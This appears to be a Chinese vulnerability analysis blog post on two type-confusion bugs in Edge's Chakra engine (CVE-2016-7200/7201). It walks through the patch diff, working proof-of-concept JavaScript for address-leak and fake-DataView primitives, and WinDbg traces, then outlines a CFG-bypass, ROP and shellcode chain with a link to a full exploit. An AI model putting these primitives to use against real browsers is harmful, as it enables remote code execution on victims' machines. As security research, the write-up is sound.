1. 分析环境

操作系统:Windows 10 x64 专业版 10.0.14393

浏览器:Microsoft Edge x64 38.14393.0

2. CVE-2016-7200分析

这是发生在JavascriptArray::FilterHelper中,由于类型混淆所导致的漏洞,先看commit

     template <typename T>
     Var JavascriptArray::FilterHelper(JavascriptArray* pArr, RecyclableObject* obj, T length, Arguments& args, ScriptContext* scriptContext)
     {
         if (args.Info.Count < 2 || !JavascriptConversion::IsCallable(args[1]))
         {
             JavascriptError::ThrowTypeError(scriptContext, JSERR_FunctionArgument_NeedFunction, _u("Array.prototype.filter"));
         }
 
         RecyclableObject* callBackFn = RecyclableObject::FromVar(args[1]);
         Var thisArg = nullptr;
 
         if (args.Info.Count > 2)
         {
             thisArg = args[2];
         }
         else
         {
             thisArg = scriptContext->GetLibrary()->GetUndefined();
          }
  
          // If the source object is an Array exotic object we should try to load the constructor property and use it to construct the return object.
 -        RecyclableObject* newObj = ArraySpeciesCreate(obj, 0, scriptContext);
 +        bool isBuiltinArrayCtor = true;
 +        RecyclableObject* newObj = ArraySpeciesCreate(obj, 0, scriptContext, nullptr, nullptr, &isBuiltinArrayCtor);
          JavascriptArray* newArr = nullptr;
  
          if (newObj == nullptr)
         {
             newArr = scriptContext->GetLibrary()->CreateArray(0);
             newArr->EnsureHead<Var>();
             newObj = newArr;
         }
         else
         {
              // If the new object we created is an array, remember that as it will save us time setting properties in the object below
              if (JavascriptArray::Is(newObj))
              {
 +#if ENABLE_COPYONACCESS_ARRAY
 +                JavascriptLibrary::CheckAndConvertCopyOnAccessNativeIntArray<Var>(newObj);
 +#endif
                  newArr = JavascriptArray::FromVar(newObj);
              }
          }
 
         Var element = nullptr;
         Var selected = nullptr;
 
         if (pArr)
         {
             Assert(length <= MaxArrayLength);
             uint32 i = 0;
 
             for (uint32 k = 0; k < length; k++)
             {
                 if (!pArr->DirectGetItemAtFull(k, &element))
                 {
                     continue;
                 }
 
                 selected = callBackFn->GetEntryPoint()(callBackFn, CallInfo(CallFlags_Value, 4), thisArg,
                     element,
                     JavascriptNumber::ToVar(k, scriptContext),
                     pArr);
 
                  if (JavascriptConversion::ToBoolean(selected, scriptContext))
                  {
                      // Try to fast path if the return object is an array
 -                    if (newArr)
 +                    if (newArr && isBuiltinArrayCtor)
                      {
                          newArr->DirectSetItemAt(i, element);
                      }

再看下POC

var x = (new Array(56, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)).slice();
var [hi, lo] = PutDataAndGetAddr(x);

function PutDataAndGetAddr(t)
{
    var d = new Array(1,2,3);
    class dummy {
        constructor() {
            return d;
        }
    }

    class MyArray extends Array {
        static get [Symbol.species]() {
            return dummy;
        }
    }

    var a = new Array({}, t, "theori", 7, 7, 7, 7, 7);

    function test(i) {
        return true;
    }

    a.__proto__ = MyArray.prototype;

    var o = a.filter(test);
    var h = [];

    for (item in o) {
        var n = new Number(o[item]);
        if (n < 0) {
            n = n + 0x100000000;
        }
        h.push(n);
    }
    return [h[3], h[2]];
}

上面a.filter(test)会调用到JavascriptArray::FilterHelpera.__proto__ = MyArray.prototype使RecyclableObject* newObj = ArraySpeciesCreate(obj, 0, scriptContext)得到的newObj类型为JavascriptNativeIntArray

0:013> p
chakra!Js::JavascriptArray::FilterHelper<unsigned int>+0xaa:
00007ffa`5c0ff9ea 4533e4          xor     r12d,r12d
0:013> dq rax
0000020c`4e2e5500  00007ffa`5c4d38d8 0000020c`4e218f80
0000020c`4e2e5510  00000000`00000000 00000000`00000005
0000020c`4e2e5520  00000000`00000003 0000020c`4e2e5540
0000020c`4e2e5530  0000020c`4e2e5540 0000020c`4c37e080
0000020c`4e2e5540  00000003`00000000 00000000`00000006
0000020c`4e2e5550  00000000`00000000 00000002`00000001
0000020c`4e2e5560  80000002`00000003 80000002`80000002
0000020c`4e2e5570  00000000`00000000 00000000`00000000
0:013> ln 00007ffa`5c4d38d8
Browse module
Set bu breakpoint

(00007ffa`5c4d38d8)   chakra!Js::JavascriptNativeIntArray::`vftable'   |  (00007ffa`5c4d3c28)   chakra!Js::JavascriptArray::`vftable'
Exact matches:
    chakra!Js::JavascriptNativeIntArray::`vftable' = <no type information>

可以看到新生成的数组类型为JavascriptNativeIntArray,从0000020c4e2e5558开始就是数组中的值,每个element的大小为4字节,再在newArr->DirectSetItemAt(i, element)时断下

0:013> g
Breakpoint 1 hit
chakra!Js::JavascriptArray::FilterHelper<unsigned int>+0x1ab:
00007ffa`5c0ffaeb e8d0e40500      call    chakra!Js::JavascriptArray::DirectSetItemInLastUsedSegmentAt<void * __ptr64> (00007ffa`5c15dfc0)
0:013> r
rax=0000020c4e2e5500 rbx=0000000000000000 rcx=0000020c4e2e5500
rdx=0000000000000000 rsi=0000000000000000 rdi=0000020c4e2e5500
rip=00007ffa5c0ffaeb rsp=000000bc89afb8b0 rbp=000000bc89afb921
 r8=0000020c4e23abe0  r9=00007ffa5bf40000 r10=0000020c4e361d40
r11=0000000000000000 r12=0000000000000008 r13=0000020c4e242160
r14=0000020c4e25d180 r15=0000020c4aa2d160
iopl=0         nv up ei ng nz ac po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
chakra!Js::JavascriptArray::FilterHelper<unsigned int>+0x1ab:
00007ffa`5c0ffaeb e8d0e40500      call    chakra!Js::JavascriptArray::DirectSetItemInLastUsedSegmentAt<void * __ptr64> (00007ffa`5c15dfc0)
0:013> dq rcx
0000020c`4e2e5500  00007ffa`5c4d38d8 0000020c`4e218f80
0000020c`4e2e5510  00000000`00000000 00000000`00000005
0000020c`4e2e5520  00000000`00000003 0000020c`4e2e5540
0000020c`4e2e5530  0000020c`4e2e5540 0000020c`4c37e080
0000020c`4e2e5540  00000003`00000000 00000000`00000006
0000020c`4e2e5550  00000000`00000000 00000002`00000001
0000020c`4e2e5560  80000002`00000003 80000002`80000002
0000020c`4e2e5570  00000000`00000000 00000000`00000000
0:013> p
chakra!Js::JavascriptArray::FilterHelper<unsigned int>+0x1b0:
00007ffa`5c0ffaf0 ffc6            inc     esi
0:013> dq 0000020c`4e2e5500
0000020c`4e2e5500  00007ffa`5c4d38d8 0000020c`4e218f80
0000020c`4e2e5510  00000000`00000000 00000000`00000005
0000020c`4e2e5520  00000000`00000003 0000020c`4e2e5540
0000020c`4e2e5530  0000020c`4e2e5540 0000020c`4c37e080
0000020c`4e2e5540  00000003`00000000 00000000`00000006
0000020c`4e2e5550  00000000`00000000 0000020c`4e23abe0
0000020c`4e2e5560  80000002`00000003 80000002`80000002
0000020c`4e2e5570  00000000`00000000 00000000`00000000

给索引为0的位置赋值了一个对象的地址,再进行一次赋值

0:013> g
Breakpoint 1 hit
chakra!Js::JavascriptArray::FilterHelper<unsigned int>+0x1ab:
00007ffa`5c0ffaeb e8d0e40500      call    chakra!Js::JavascriptArray::DirectSetItemInLastUsedSegmentAt<void * __ptr64> (00007ffa`5c15dfc0)
0:013> dq rcx
0000020c`4e2e5500  00007ffa`5c4d38d8 0000020c`4e218f80
0000020c`4e2e5510  00000000`00000000 00000000`00000005
0000020c`4e2e5520  00000000`00000003 0000020c`4e2e5540
0000020c`4e2e5530  0000020c`4e2e5540 0000020c`4c37e080
0000020c`4e2e5540  00000003`00000000 00000000`00000006
0000020c`4e2e5550  00000000`00000000 0000020c`4e23abe0
0000020c`4e2e5560  80000002`00000003 80000002`80000002
0000020c`4e2e5570  00000000`00000000 00000000`00000000
0:013> r
rax=0000020c4e2e5500 rbx=0000000000000001 rcx=0000020c4e2e5500
rdx=0000000000000001 rsi=0000000000000001 rdi=0000020c4e2e5500
rip=00007ffa5c0ffaeb rsp=000000bc89afb8b0 rbp=000000bc89afb921
 r8=0000020c4e254460  r9=00007ffa5bf40000 r10=0000020c4e361d40
r11=0000000000000000 r12=0000000000000008 r13=0000020c4e242160
r14=0000020c4e25d180 r15=0000020c4aa2d160
iopl=0         nv up ei ng nz ac pe cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000293
chakra!Js::JavascriptArray::FilterHelper<unsigned int>+0x1ab:
00007ffa`5c0ffaeb e8d0e40500      call    chakra!Js::JavascriptArray::DirectSetItemInLastUsedSegmentAt<void * __ptr64> (00007ffa`5c15dfc0)
0:013> dq r8
0000020c`4e254460  00007ffa`5c4d38d8 0000020c`4e218f80
0000020c`4e254470  00000000`00000000 00000000`00000005
0000020c`4e254480  00000000`00000010 0000020c`4e2544a0
0000020c`4e254490  0000020c`4e2544a0 0000020c`4c37d920
0000020c`4e2544a0  00000010`00000000 00000000`00000012
0000020c`4e2544b0  00000000`00000000 00000000`00000038
0000020c`4e2544c0  00000000`00000000 00000000`00000000
0000020c`4e2544d0  00000000`00000000 00000000`00000000
0:013> p
chakra!Js::JavascriptArray::FilterHelper<unsigned int>+0x1b0:
00007ffa`5c0ffaf0 ffc6            inc     esi
0:013> dq 0000020c`4e2e5500
0000020c`4e2e5500  00007ffa`5c4d38d8 0000020c`4e218f80
0000020c`4e2e5510  00000000`00000000 00000000`00000005
0000020c`4e2e5520  00000000`00000003 0000020c`4e2e5540
0000020c`4e2e5530  0000020c`4e2e5540 0000020c`4c37e080
0000020c`4e2e5540  00000003`00000000 00000000`00000006
0000020c`4e2e5550  00000000`00000000 0000020c`4e23abe0
0000020c`4e2e5560  0000020c`4e254460 80000002`80000002
0000020c`4e2e5570  00000000`00000000 00000000`00000000

这时给索引为1的位置赋值了指定对象的地址,特别要注意的是这里把JavascriptNativeIntArray混淆成了JavascriptArray,而JavascriptArray的每个element大小为8字节,而JavascriptNativeIntArray的每个element大小为4字节,因此最后通过return [h[3], h[2]]泄漏出指定对象的地址。

3. CVE-2016-7201分析

这也是由于类型混淆导致的漏洞,发生在JavascriptArray::FillFromPrototypes调用JavascriptArray::ForEachOwnMissingArrayIndexOfObject

void JavascriptArray::FillFromPrototypes(uint32 startIndex, uint32 limitIndex)
{
    if (startIndex >= limitIndex)
    {
        return;
    }

    RecyclableObject* prototype = this->GetPrototype();

    // Fill all missing values by walking through prototype
    while (JavascriptOperators::GetTypeId(prototype) != TypeIds_Null)
    {
        ForEachOwnMissingArrayIndexOfObject(this, nullptr, prototype, startIndex, limitIndex,0, [this](uint32 index, Var value) {
            this->SetItem(index, value, PropertyOperation_None);
        });

        prototype = prototype->GetPrototype();
    }
}

再看下Javascript::ForEachOwnMissingArrayIndexOfObject中的代码片段

template <typename Fn>
void JavascriptArray::ForEachOwnMissingArrayIndexOfObject(JavascriptArray *baseArray, JavascriptArray *destArray, RecyclableObject* obj, uint32 startIndex, uint32 limitIndex, uint32 destIndex, Fn fn)
{
    ...
    if (DynamicObject::IsAnyArray(obj))
    {
        arr = JavascriptArray::FromAnyArray(obj);
    }
    ...
    if (JavascriptArray::Is(arr))
    {
        ArrayElementEnumerator e(arr, startIndex, limitIndex);
    
        while(e.MoveNext<Var>())
        {
            uint32 index = e.GetIndex();
            if (!baseArray->DirectGetVarItemAt(index, &oldValue, baseArray->GetScriptContext()))
            {
                uint32 n = destIndex + (index - startIndex);
                if (destArray == nullptr || !destArray->DirectGetItemAt(n, &oldValue))
                {
                    JS_REENTRANT(jsReentLock, fn(index, e.GetItem<Var>()));
                }
            }
        }
    }
    ...
}

下面是POC

var [hi, lo] = PutDataAndGetAddr(x);
[hi, lo] = [hi|0, (lo + 0x58)|0];                           // offset (0x58) to the array data slots
TriggerFillFromPrototypesBug(lo, hi);

function TriggerFillFromPrototypesBug(lo, hi)
{
    // Type* (which has TypeId)
    x[2] = lo;
    x[3] = hi;

    // +0x3C points to 0 (index 1) for bypassing isDetached check
    x[10] = (lo - 0x38)|0;
    x[11] = hi;

    // buffer length
    x[8] = 0x200;

    // buffer addr
    x[14] = (lo - 0x58)|0;
    x[15] = hi;

    var a = new Array(0x11111111, 0, 0x22222222, 0, 0x33333333, 0, lo, hi, 0x55555555, 0);

    var handler = {
        getPrototypeOf: function(target, name) {
            return a;
        }
    };

    var p = new Proxy([], handler);
    var b = [{}, [], "abc"];

    b.__proto__ = p;
    b.length = 4;
	
    a.shift.call(b);
    dv = b[2];
}

调用a.shift.call(b)时会调用JavascriptArray::FillFromPrototypes,这里使用了代理对象var p = new Proxy([], handler);b.__proto__ = p;,由于prototype = prototype->GetPrototype()使ArrayElementEnumerator e(arr, startIndex, limitIndex)时得到一个JavascriptNativeIntArray类型的迭代器

0:013> g
Breakpoint 2 hit
chakra!Js::JavascriptArray::FillFromPrototypes+0x151:
00007ffa`5c15c901 e84ae9ffff      call    chakra!Js::JavascriptArray::ArrayElementEnumerator::ArrayElementEnumerator (00007ffa`5c15b250)
0:013> dq rdx
000001da`6a2eed00  00007ffa`5c4d38d8 000001da`6a707040
000001da`6a2eed10  00000000`00000000 00000000`00000005
000001da`6a2eed20  00000000`0000000a 000001da`6a2eed40
000001da`6a2eed30  000001da`6a2eed40 000001da`6a26dc20
000001da`6a2eed40  0000000a`00000000 00000000`0000000a
000001da`6a2eed50  00000000`00000000 00000000`11111111
000001da`6a2eed60  00000000`22222222 00000000`33333333
000001da`6a2eed70  000001da`6a2e7b18 00000000`55555555
0:013> ln 00007ffa`5c4d38d8
Browse module
Set bu breakpoint

(00007ffa`5c4d38d8)   chakra!Js::JavascriptNativeIntArray::`vftable'   |  (00007ffa`5c4d3c28)   chakra!Js::JavascriptArray::`vftable'
Exact matches:
    chakra!Js::JavascriptNativeIntArray::`vftable' = <no type information>

但是取元素e.GetItem<Var>()时却认为此数组是Var Array类型,在之后this->SetItem(index, value, PropertyOperation_None)赋值时也认为此数组是Var Array类型

0:013> g
Breakpoint 3 hit
chakra!Js::MissingPropertyTypeHandler::IsObjTypeSpecEquivalent+0x8d971:
00007ffa`5c2460e1 ff1591ca2d00    call    qword ptr [chakra!_guard_dispatch_icall_fptr (00007ffa`5c522b78)] ds:00007ffa`5c522b78={ntdll!LdrpDispatchUserCallTarget (00007ffa`7cf55260)}
0:013> dq rcx
000001da`6a71a990  00007ffa`5c4d3c28 000001da`6a74e980
000001da`6a71a9a0  00000000`00000000 00000000`00020005
000001da`6a71a9b0  00000000`00000004 000001da`6a2e7700
000001da`6a71a9c0  000001da`6a2e7700 00000000`00000000
000001da`6a71a9d0  00000003`00000000 00000000`00000006
000001da`6a71a9e0  00000000`00000000 00000000`00000000
000001da`6a71a9f0  80000002`00000000 80000002`80000002
000001da`6a71aa00  00007ffa`5c4d38d8 000001da`6a707040
0:013> dq 000001da`6a2e7700
000001da`6a2e7700  00000003`00000000 00000000`00000011
000001da`6a2e7710  00000000`00000000 000001da`6a2c9320
000001da`6a2e7720  000001da`6a71aa00 000001da`6a2c9820
000001da`6a2e7730  80000002`80000002 80000002`80000002
000001da`6a2e7740  80000002`80000002 80000002`80000002
000001da`6a2e7750  80000002`80000002 80000002`80000002
000001da`6a2e7760  80000002`80000002 80000002`80000002
000001da`6a2e7770  80000002`80000002 80000002`80000002
0:013> r
rax=00007ffa5c15e670 rbx=000001da6a2eed00 rcx=000001da6a71a990
rdx=0000000000000003 rsi=0000000000000000 rdi=000001da6a2eed40
rip=00007ffa5c2460e1 rsp=0000003cc3ffb270 rbp=0000000000000004
 r8=000001da6a2e7b18  r9=0000000000000000 r10=00000fff4b84afee
r11=0010400000000000 r12=000001da6a71a990 r13=fffc000000000000
r14=0000000000000003 r15=0000000000000003
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
chakra!Js::MissingPropertyTypeHandler::IsObjTypeSpecEquivalent+0x8d971:
00007ffa`5c2460e1 ff1591ca2d00    call    qword ptr [chakra!_guard_dispatch_icall_fptr (00007ffa`5c522b78)] ds:00007ffa`5c522b78={ntdll!LdrpDispatchUserCallTarget (00007ffa`7cf55260)}
0:013> dq 1da6a2e7b18
000001da`6a2e7b18  00000000`00000038 000001da`6a2e7b18
000001da`6a2e7b28  00000000`00000000 00000000`00000000
000001da`6a2e7b38  00000000`00000200 000001da`6a2e7ae0
000001da`6a2e7b48  00000000`00000000 000001da`6a2e7ac0
000001da`6a2e7b58  80000002`80000002 00007ffa`5c4d38d8
000001da`6a2e7b68  000001da`6a707040 00000000`00000000
000001da`6a2e7b78  00000000`00000005 00000000`00000010
000001da`6a2e7b88  000001da`6a2e7ba0 000001da`6a2e7ba0
0:013> p
chakra!Js::MissingPropertyTypeHandler::IsObjTypeSpecEquivalent+0x8d977:
00007ffa`5c2460e7 90              nop
0:013> dq 000001da`6a2e7700
000001da`6a2e7700  00000004`00000000 00000000`00000011
000001da`6a2e7710  00000000`00000000 000001da`6a2c9320
000001da`6a2e7720  000001da`6a71aa00 000001da`6a2c9820
000001da`6a2e7730  000001da`6a2e7b18 80000002`80000002
000001da`6a2e7740  80000002`80000002 80000002`80000002
000001da`6a2e7750  80000002`80000002 80000002`80000002
000001da`6a2e7760  80000002`80000002 80000002`80000002
000001da`6a2e7770  80000002`80000002 80000002`80000002

这里可以看到给索引为3的位置赋值了伪造对象的地址,在shift操作后

0:013> dq 000001da`6a71a990
000001da`6a71a990  00007ffa`5c4d3c28 000001da`6a74e980
000001da`6a71a9a0  00000000`00000000 00000000`00020005
000001da`6a71a9b0  00000000`00000003 000001da`6a2e7700
000001da`6a71a9c0  000001da`6a2e7700 00000000`00000000
000001da`6a71a9d0  00000003`00000000 00000000`00000006
000001da`6a71a9e0  00000000`00000000 00000000`00000000
000001da`6a71a9f0  80000002`00000000 80000002`80000002
000001da`6a71aa00  00007ffa`5c4d38d8 000001da`6a707040
0:013> dq 000001da`6a2e7700
000001da`6a2e7700  00000003`00000000 00000000`00000011
000001da`6a2e7710  00000000`00000000 000001da`6a71aa00
000001da`6a2e7720  000001da`6a2c9820 000001da`6a2e7b18
000001da`6a2e7730  80000002`80000002 80000002`80000002
000001da`6a2e7740  80000002`80000002 80000002`80000002
000001da`6a2e7750  80000002`80000002 80000002`80000002
000001da`6a2e7760  80000002`80000002 80000002`80000002
000001da`6a2e7770  80000002`80000002 80000002`80000002

因此dv = b[2]就得到了伪造的任意地址的对象。

4. 漏洞利用

思路很简单,利用CVE-2016-7200泄漏指定对象的地址,再利用CVE-2016-7201伪造一个DataView类型的对象来实现任意地址的读和写,然后通过覆盖返回地址来绕过CFG进行ROP,调用VirtualProtectshellcode空间增加可执行权限,最后返回到shellcode执行。

image.png-757.8kB

利用DataView实现任意地址的读写,可以参考exp-sky大牛的一篇演讲

image.png-117.2kB

image.png-123.1kB

image.png-125.1kB

image.png-128.1kB

完整EXP:https://github.com/birdg0/exp/blob/master/browser/edge-x64-cve-2016-7200%267201-exp.html

5. 参考

  1. https://github.com/theori-io/chakra-2016-11
  2. http://blogs.360.cn/360safe/2016/11/29/three-roads-lead-to-rome/
  3. http://blog.csdn.net/tgxallen/article/details/54600112
  4. https://github.com/exp-sky/HitCon-2016-Windows-10-x64-edge-0day-and-exploit